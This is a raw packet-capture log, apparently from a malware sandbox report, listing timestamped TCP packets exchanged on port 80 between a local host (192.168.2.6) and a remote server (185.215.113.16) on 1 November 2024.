Nov 1, 2024 03:46:14.770999908 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.771009922 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.771049976 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.771074057 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.771086931 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.771096945 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.771119118 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.771142006 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.771476030 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.771487951 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.771500111 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.771524906 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.771550894 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.771876097 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.771888018 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.771919966 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.771940947 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.772093058 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.772144079 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.772171974 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.772183895 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.772193909 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.772206068 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.772216082 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.772243023 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.772840023 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.772851944 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.772861958 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.772886038 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.772917986 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.802947998 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.802968025 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.802977085 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.803019047 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.803047895 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.803196907 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.803251982 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.803267956 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.803286076 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.803297997 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.803330898 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.803347111 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.803935051 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.803987026 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.810717106 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.810781956 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.810802937 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.810813904 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.810858011 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.810992956 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.811005116 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.811016083 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.811028004 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.811043978 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.811070919 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.811567068 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.811578989 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.811589003 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.811619043 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.811661005 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.811891079 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.811902046 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.811916113 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.811938047 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.811980009 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.812333107 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.812344074 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.812355042 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.812381029 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.812412977 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.812802076 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.812814951 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.812825918 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.812838078 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.812849045 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.812856913 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.812859058 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.812886000 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.812908888 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.813705921 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.813762903 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.813792944 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.813805103 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.813813925 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.813827991 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.813839912 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.813843012 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.813855886 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.813865900 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.813868999 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.813896894 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.813915014 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.814796925 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.814810038 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.814821005 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.814835072 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.814846992 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.814850092 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.814858913 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.814870119 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.814892054 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.814909935 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.815776110 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.815788031 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.815798998 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.815809965 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.815820932 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.815830946 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.815833092 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.815850973 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.815871000 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.816771030 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.816782951 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.816793919 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.816806078 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.816811085 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.816817045 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.816828966 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.816839933 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.816855907 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.816893101 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.817770004 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.817781925 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.817796946 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.817809105 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.817827940 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.817859888 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.852566004 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.852636099 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.852659941 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.852677107 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.852718115 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.852735996 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.852938890 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.852951050 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.852989912 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.853018999 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.859941006 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.860030890 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.860044003 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.860131025 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.860224962 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.860234976 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.860245943 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.860277891 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.860321999 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.860501051 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.860512018 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.860555887 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.878006935 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.878066063 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.878110886 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.878122091 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.878155947 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.878179073 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.878424883 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.878437042 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.878448009 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.878460884 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.878490925 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.878529072 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.879028082 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.879039049 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.879050016 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.879061937 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.879074097 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.879085064 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.879086971 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.879122019 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.879146099 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.879906893 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.879919052 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.879926920 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.879940033 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.879951954 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.879961014 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.879962921 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.879970074 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.880002022 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.880049944 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.888809919 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.888865948 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.888890028 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.888902903 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.888946056 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.888967991 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.889054060 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.889065981 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.889105082 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.889136076 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.889261961 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.889278889 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.889316082 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.889345884 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.889394045 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.889414072 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.889436960 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.889471054 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.889636993 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.889689922 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.889713049 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.889724970 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.889736891 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.889748096 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.889766932 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.889800072 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.890228987 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.890240908 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.890285969 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.890414000 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.890430927 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.890469074 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.890496969 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.890640974 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.890652895 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.890665054 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.890691996 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.890724897 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.921016932 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.921027899 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.921039104 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.921101093 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.921159029 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.921170950 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.921210051 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.921214104 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.921226025 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.921261072 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.921293020 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.921726942 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.921780109 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.928801060 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.928813934 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.928831100 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.928853035 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.928870916 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.928939104 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.928950071 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.928992033 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.929152012 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.929162025 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.929176092 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.929203033 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.929219961 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.929402113 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.929413080 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.929424047 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.929450035 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.929478884 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.929698944 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.929714918 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.929727077 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.929749966 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.929779053 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.930033922 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.930078983 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.930107117 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.930119038 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.930129051 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.930159092 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.930188894 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.930367947 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.930380106 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.930417061 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.930438042 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.930453062 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.930463076 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.930475950 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.930486917 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.930488110 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.930499077 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.930509090 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.930529118 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.930557013 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.931268930 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.931281090 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.931293011 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.931303978 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.931324005 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.931330919 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.931337118 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.931349039 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.931358099 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.931382895 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.931401014 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.932153940 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.932166100 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.932174921 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.932185888 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.932198048 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.932208061 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.932210922 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.932223082 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.932229996 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.932234049 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.932246923 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.932269096 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.932288885 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.933037043 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.933048964 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.933058977 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.933069944 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.933080912 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.933089972 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.933093071 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.933123112 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.933139086 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.933716059 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.933732033 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.933743954 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.933754921 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.933762074 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.933767080 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.933779001 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.933780909 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.933790922 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.933824062 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.934552908 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.934571028 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.934581995 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.934607029 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.934626102 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.970988035 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.971065998 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.971240997 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.971251965 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.971299887 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.971354008 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.971405983 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.971470118 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.971482038 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.971523046 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.971564054 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.978375912 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.978442907 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.978467941 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.978478909 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:14.978507996 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.978527069 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:14.978672981 CET	80	58524	185.215.113.16	192.168.2.6
